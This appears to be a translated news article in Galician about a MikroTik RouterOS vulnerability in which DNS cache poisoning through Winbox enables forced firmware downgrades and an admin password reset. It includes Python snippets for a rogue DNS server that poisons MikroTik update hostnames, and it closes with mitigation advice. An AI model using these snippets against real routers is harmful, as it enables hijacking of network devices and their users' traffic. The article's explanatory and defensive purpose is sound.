A vulnerabilidade de Backport en RouterOS pon en risco centos de miles de dispositivos

A vulnerabilidade de Backport en RouterOS pon en risco centos de miles de dispositivos

A capacidade de degradar de forma remota os dispositivos baseados en RouterOS (Mikrotik) pon en risco centos de miles de dispositivos de rede. A vulnerabilidade está asociada ao envelenamento da caché DNS do protocolo Winbox e permítelle cargar no dispositivo firmware obsoleto (cun ​​restablecemento de contrasinal predeterminado) ou modificado.

A vulnerabilidade de Backport en RouterOS pon en risco centos de miles de dispositivos

Detalles da vulnerabilidade

O terminal RouterOS admite o comando de resolución para a busca de DNS.

A vulnerabilidade de Backport en RouterOS pon en risco centos de miles de dispositivos

Esta solicitude é xestionada por un binario chamado resolver. Resolver é un dos moitos binarios que se conectan ao protocolo Winbox de RouterOS. Nun alto nivel, as "mensaxes" enviadas ao porto Winbox pódense enrutar a varios binarios en RouterOS baseados nun esquema de numeración baseado en matrices.

De forma predeterminada, RouterOS ten a función do servidor DNS desactivada.

A vulnerabilidade de Backport en RouterOS pon en risco centos de miles de dispositivos

Non obstante, mesmo cando a función do servidor está desactivada, o enrutador mantén a súa propia caché DNS.

A vulnerabilidade de Backport en RouterOS pon en risco centos de miles de dispositivos

Cando facemos unha solicitude usando winbox_dns_request por exemplo example.com, o enrutador almacenará o resultado na caché.

A vulnerabilidade de Backport en RouterOS pon en risco centos de miles de dispositivos

Dado que podemos especificar o servidor DNS polo que debe ir a solicitude, introducir enderezos incorrectos é trivial. Por exemplo, pode configurar unha implementación de servidor DNS desde Philip Klauspara responder sempre cun rexistro A que contén o enderezo IP 192.168.88.250.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

Agora, se buscas example.com usando Winbox, podes ver que a caché DNS do enrutador está envelenada.

A vulnerabilidade de Backport en RouterOS pon en risco centos de miles de dispositivos

Por suposto, envelenar example.com non é moi útil xa que o enrutador non o usará. Non obstante, o enrutador debe acceder a upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com e download.mikrotik.com. E grazas a outro erro, é posible envelenalos todos á vez.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("download.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

O router solicita un permiso e devolvémoslle cinco. O router non almacena correctamente todas estas respostas na caché.

A vulnerabilidade de Backport en RouterOS pon en risco centos de miles de dispositivos

Obviamente, este ataque tamén é útil se o enrutador está a actuar como servidor DNS, xa que permite que os clientes do enrutador sexan atacados.

Este ataque tamén permítelle explotar unha vulnerabilidade máis grave: degradar ou retroceder a versión de RouterOS. O atacante recrea a lóxica do servidor de actualizacións, incluído o rexistro de cambios, e obriga a RouterOS a percibir a versión desactualizada (vulnerable) como actual. O perigo aquí reside no feito de que cando a versión se "actualiza", o contrasinal do administrador restablece o valor predeterminado: un atacante pode iniciar sesión no sistema cun contrasinal baleiro.


O ataque está bastante funcionando, a pesar de que o autor implementa varios vectores máis, incluídos os relacionados con incorporando unha porta traseira no firmware, pero esta xa é unha técnica redundante e o seu uso con fins ilexítimos é ilegal.

protección

Simplemente desactivar Winbox permíteche protexerte destes ataques. A pesar da comodidade da administración a través de Winbox, é mellor usar o protocolo SSH.

Fonte: www.habr.com

Engadir un comentario